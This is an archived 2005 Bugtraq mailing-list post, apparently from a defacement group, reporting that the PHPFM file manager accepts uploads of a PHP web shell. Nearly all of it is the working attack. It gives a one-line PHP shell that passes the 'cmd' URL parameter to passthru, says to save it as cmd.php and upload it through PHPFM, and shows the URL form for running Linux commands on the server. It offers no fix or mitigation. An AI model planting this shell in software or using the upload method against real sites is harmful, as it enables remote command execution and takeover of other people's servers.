bugtraq - upload phpshell in PHPFM

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Date: 7 Nov 2005 01:35:46 -0000
From: GeekZ@...urityfocus.com, "[at]"@securityfocus.com,
	WorldDefacers@...urityfocus.com, "[d0t]"@securityfocus.com,
	NeT@...urityfocus.com
To: bugtraq@...urityfocus.com
Subject: upload phpshell in PHPFM


upload phpshell in PHPFM

discovered by rUnViRuS

www.worlddefacers.net
www.security-arab.com
=-=-=-=-=-=-=-=-=
the code shell :-
---------------
<pre>
<?
passthru($_GET['cmd']);
?>>

save as > cmd.php
now upload in PHPFM
=-=-=-=
Used Shell
=-=-=-=
www.site.com/[file upload name]/[files]/cmd.php?cmd=[command linux]

=-=-=-==-=-=-==-=-=-==-=-=-==-=-=-==-=-=-=